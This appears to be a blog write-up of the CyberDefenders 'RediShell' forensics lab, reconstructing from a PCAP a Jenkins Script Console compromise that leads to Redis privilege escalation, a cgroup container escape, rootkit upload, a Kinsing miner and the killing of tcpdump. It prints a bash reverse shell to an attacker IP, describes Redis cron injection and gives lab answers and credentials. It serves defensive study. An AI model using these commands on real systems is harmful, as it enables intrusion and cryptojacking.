Post

Incident Response Report: RediShell — From Jenkins RCE to Container Escape & Kinsing Miner

Incident Response Report: RediShell — From Jenkins RCE to Container Escape & Kinsing Miner

Platform: CyberDefenders Challenge: RediShell Category: Network Forensics Difficulty: Easy Tools: Wireshark Achievement: Proof of Completion

1. Executive Summary

Incident Type: Container Compromise / Lateral Movement / Cryptominer Deployment / Anti-Forensics

Malware Deployed: Kinsing (XMRig-based Monero miner) + Kernel Rootkit

A packet capture (monitor.pcap) was initiated when anomalous outbound traffic was detected from a container subnet. The capture terminated mid-session — the attacker discovered the monitoring process and killed it. Analysis of the truncated PCAP reconstructed a complete multi-phase intrusion chain:

A misconfigured Jenkins CI/CD server was exploited via a Groovy Script Console RCE, giving the attacker a reverse shell into the first container. From there, they harvested Redis service credentials from a plaintext file, pivoted to a second container running a vulnerable Redis instance, exploited CVE-2025-49844 (Redis Lua subsystem) for root access, then used CVE-2022-0492 (Linux cgroup namespace escape) to break out to the underlying host. On the host, they installed a Python upload server to transfer a kernel-level rootkit, exfiltrated employee data, and deployed the Kinsing cryptominer via Redis configuration manipulation.

CyberDefenders RediShell Lab overview showing the challenge scenario: anomalous network traffic detected from container subnet, monitor.pcap artifact provided for analysis, rating 4.7 stars.

Indicators of Compromise (IOCs)

TypeIndicatorDescription
Jenkins Server172.16.10.10First compromised container
Attacker C2 IP185.220.101.50External threat actor
Redis Container172.16.10.20Second compromised container
Exploited AppJenkins 2.387.1Vulnerable Groovy Script Console
Vulnerable Endpoint/scriptJenkins Script Console URI
Initial Reverse ShellPort 4444Attacker’s listener
Post-Escape ShellPort 5555Second reverse shell after container escape
Lateral ProtocolTelnet (unencrypted)Used to pivot to Redis container
Redis Hostnameredis-db.corp.localSecond container identity
Redis Version5.0.7Vulnerable to CVE-2025-49844
Privesc CVE (Redis)CVE-2025-49844Redis Lua scripting subsystem vulnerability
Privesc Fileexploit.luaCustom Lua exploit for Redis
SUID Binary/usr/local/bin/redis-backupAbused for privilege escalation
Container Escape CVECVE-2022-0492Linux cgroup namespace escape
Escape Scriptescape.shContainer-to-host escape payload
Upload Serveruploadserver (Python, port 8000)Tool for rootkit file transfer
Rootkit Fileskernel-rootkit.c, Makefile, install-rootkit.shUploaded for persistence
Exfiltrated Dataemployee_data.csvSensitive data stolen from host
Proof File/tmp/you_have_been_hacked.txtPost-exploitation marker

MITRE ATT&CK Mapping Overview

TacticTechniqueID
Initial AccessExploit Public-Facing Application (Jenkins)T1190
ExecutionServer-Side Script — Groovy RCET1059.004
Credential AccessCredentials in Files (credentials.txt)T1552.001
Lateral MovementRemote Services — TelnetT1021
Privilege EscalationCVE-2025-49844 — Redis LuaT1068
Defense EvasionContainer Escape — CVE-2022-0492T1611
PersistenceCron Job via Redis CONFIG SETT1053.003
ImpactResource Hijacking — Kinsing/XMRig MinerT1496
Defense EvasionIndicator Removal — Kill tcpdumpT1070

2. Phase 1: Initial Access — Jenkins RCE (Questions 1–6)

Objective: Identify the first compromised system, the attacker’s C2 IP, the exploited application, and the method of initial code execution.

Applying an HTTP filter in Wireshark immediately isolates the attack traffic. The attacker (185.220.101.50) interacted with a Jenkins server (172.16.10.10) through a sequence of GET requests to / (reconnaissance/fingerprinting) followed by repeated POST requests to /script — the Jenkins Groovy Script Console endpoint.

Wireshark HTTP filter showing the full traffic timeline between the attacker (185.220.101.50) and the Jenkins server (172.16.10.10) via GET reconnaissance followed by POSTscript code execution.

Following the TCP stream of the first POST request to /script reveals the Groovy payload that established the initial reverse shell:

TCP stream of the Jenkins Script Console POST request showing the Groovy script payload that executes bash -i >&dev/tcp/185.220.101.50/4444 0>&1 — a classic bash reverse shell over port 4444.

Before executing the full reverse shell, the attacker confirmed code execution by reading /etc/passwd as a proof-of-concept — a standard attacker validation step.

Answer Q1

What is the IP address of the first compromised system?

172.16.10.10

Answer Q2

What is the attacker’s C2 IP address?

185.220.101.50

Answer Q3

What web application and version was exploited?

Jenkins, 2.387.1

Answer Q4

What file did the attacker read to test code execution?

/etc/passwd

Answer Q5

What is the URI of the vulnerable endpoint?

/script

Answer Q6

What port did the attacker use for the initial reverse shell?

4444


3. Phase 2: Discovery & Credential Access (Questions 7–9)

Objective: Identify post-exploitation enumeration tools and credentials harvested for lateral movement.

Inside the first container, the attacker downloaded and executed LinPEAS — the Linux Privilege Escalation Awesome Script — to enumerate the container environment and identify attack paths.

TCP stream showing the bash reverse shell session after the attacker gains initial access, including the download and execution of LinPEAS for privilege escalation enumeration.

Searching through the Jenkins home directory, the attacker located and read a credentials file at /var/jenkins_home/credentials.txt — stored in plaintext. This file contained the Redis service account credentials that enabled lateral movement to the second container.

Answer Q7

What privilege escalation enumeration script did the attacker download?

LinPEAS

Answer Q8

What file did the attacker read to obtain lateral movement credentials?

/var/jenkins_home/credentials.txt

Answer Q9

What username and password did the attacker use for the second system?

redis_user:R3d1s_Us3r_P@ss!


4. Phase 3: Lateral Movement — Telnet to Redis (Questions 10–12)

Objective: Identify the lateral movement protocol, the second container’s IP, and its identity.

Using the harvested credentials, the attacker connected to the second container over Telnet — an unencrypted, legacy protocol. This choice exposes all subsequent traffic in the packet capture without any decryption required.

TCP stream showing the Telnet connection established from the Jenkins container to the Redis container at 172.16.10.20, displaying the login banner with hostname redis-db.corp.local and Redis version 5.0.7.

Answer Q10

What unencrypted protocol was used for lateral movement?

Telnet

Answer Q11

What is the IP address of the second compromised system?

172.16.10.20

Answer Q12

What is the hostname of the second container and the version of the data storage service?

redis-db.corp.local, 5.0.7


5. Phase 4: Privilege Escalation — Redis Lua CVE (Questions 13–16)

Objective: Identify the exploit used for privilege escalation, the SUID binary abused, and the associated CVE.

The attacker uploaded exploit.lua to the Redis container to exploit CVE-2025-49844, a vulnerability in the Redis Lua scripting subsystem that allows command injection. After gaining elevated access, they verified their privilege level by running whoami, then used the SUID binary /usr/local/bin/redis-backup to further escalate.

TCP stream showing the apt-get update and Python3 installation commands on the second container, setting up the environment for the Lua exploit execution.

Answer Q13

What file did the attacker upload for privilege escalation?

exploit.lua

Answer Q14

What is the full path of the SUID binary exploited?

/usr/local/bin/redis-backup

Answer Q15

What was the first command executed after privilege escalation?

whoami

Answer Q16

What CVE is associated with the Redis privilege escalation?

CVE-2025-49844


6. Phase 5: Container Escape — CVE-2022-0492 (Questions 17–19)

Objective: Identify the container escape script, the new reverse shell port, and the associated CVE.

With root access inside the Redis container, the attacker executed escape.sh — a script exploiting CVE-2022-0492, a Linux kernel vulnerability related to cgroup namespaces that allows a privileged container to write to the host’s cgroup filesystem and execute arbitrary commands on the underlying host. A new reverse shell was established on port 5555.

TCP stream showing the pip install uploadserver command executed after the attacker escapes the container to the host system, starting an HTTP upload server on port 8000 for rootkit file transfer.

Analyst Note: CVE-2022-0492 requires the container to be running with elevated privileges or a non-isolated cgroup namespace. Containers running with --privileged or without --cgroupns=private are vulnerable. Always apply the principle of least privilege to container configurations.

Answer Q17

What script did the attacker execute to escape the container?

escape.sh

Answer Q18

What port was used for the post-escape reverse shell?

5555

Answer Q19

What CVE is associated with the container escape?

CVE-2022-0492


7. Phase 6: Persistence & Impact — Rootkit Upload + Kinsing Miner (Questions 20–22)

Objective: Document the post-exploitation actions taken on the host after container escape.

On the host system, the attacker created /tmp/you_have_been_hacked.txt as a proof-of-compromise marker, then installed a Python uploadserver package to facilitate inbound file transfers over port 8000.

TCP stream showing the attacker uploading three rootkit files to the host via the Python uploadserver: kernel-rootkit.c, Makefile, and install-rootkit.sh.

Three kernel rootkit components were uploaded: kernel-rootkit.c (source code), Makefile (build script), and install-rootkit.sh (installation script). Simultaneously, the attacker deployed the Kinsing cryptominer by manipulating the Redis configuration to write a malicious cron job to the host’s cron directory:

TCP stream showing Redis CONFIG SET commands being used to write a cron job entry tovar/spool/cron/root that downloads and executes the Kinsing miner binary from a remote server.

The employee data was also exfiltrated via the same upload server:

HTTP traffic showing a GET request for employee_data.csv through the upload server, confirming data exfiltration from the host file system.

Answer Q20

What is the full path of the proof-of-compromise file?

/tmp/you_have_been_hacked.txt

Answer Q21

What upload server did the attacker install?

uploadserver

Answer Q22

What rootkit files did the attacker upload?

kernel-rootkit.c, Makefile, install-rootkit.sh


8. Phase 7: Anti-Forensics — Killing the Packet Capture (Question 23)

Objective: Determine the exact command the attacker used to terminate the network monitoring process — explaining why the PCAP ends abruptly.

The attacker discovered that network traffic was being captured. Using ps aux | grep tcpdump, they identified the tcpdump process running on the host and retrieved its PID. The PCAP then ends abruptly — the monitoring process was killed before it could capture the attacker’s remaining activity.

![TCP stream showing the ps auxgrep tcpdump command output with tcpdump’s PID value 24918 visible in the process listing.](/assets/RediShell%20-%20Kinsing%20Lab/redishell-tcp-stream-grep-tcpdump-pid-before-kill.png)

TCP stream showing the final kill command executed by the attacker to terminate the tcpdump monitoring process, explaining why the packet capture ends mid-session.

Analyst Note: An attacker actively killing your monitoring process is a sign of a sophisticated, operationally aware threat actor. Any alert on kill commands targeting tcpdump, auditd, or logging daemons should be treated as a critical escalation indicator — it means the attacker knows they are being watched.

Answer Q23

What command did the attacker use to terminate the packet capture?

kill 24918 24918


9. Conclusion

The RediShell investigation reconstructs a complete, multi-phase intrusion chain from initial exploitation to anti-forensics. Key findings:

  1. Initial Access: Jenkins Groovy Script Console RCE on port 4444 — entirely avoidable with authentication and network controls.
  2. Credential Exposure: Plaintext Redis credentials in /var/jenkins_home/credentials.txt enabled immediate lateral movement.
  3. Lateral Movement: Telnet (unencrypted) between containers made all credentials and commands visible in the PCAP.
  4. Privilege Escalation: CVE-2025-49844 (Redis Lua) exploited via exploit.lua → SUID binary abuse.
  5. Container Escape: CVE-2022-0492 (cgroup namespace) allowed full host access.
  6. Impact: Kernel rootkit uploaded, Kinsing cryptominer deployed via Redis cron injection, employee_data.csv exfiltrated.
  7. Anti-Forensics: tcpdump process killed to terminate the packet capture before the session concluded.

Key Takeaways for the SOC:

  1. Jenkins Script Console = Remote Code Execution when accessible without strict authentication. Never expose CI/CD administrative interfaces to the network without MFA and IP allowlisting.
  2. Credentials in plaintext files inside containers are a single cat command away from becoming a lateral movement path. Use secrets management solutions (HashiCorp Vault, Kubernetes Secrets with encryption at rest).
  3. Redis without authentication is a well-documented attacker technique for cron-based persistence. Ensure Redis requires authentication and is not network-accessible from untrusted containers.
  4. Detecting anti-forensics is crucial — a process killing monitoring daemons should trigger an immediate critical alert and incident escalation.

Analysis Date: April 18, 2026 Analyst: El OMARI Zakaria

This post is licensed under CC BY 4.0 by the author.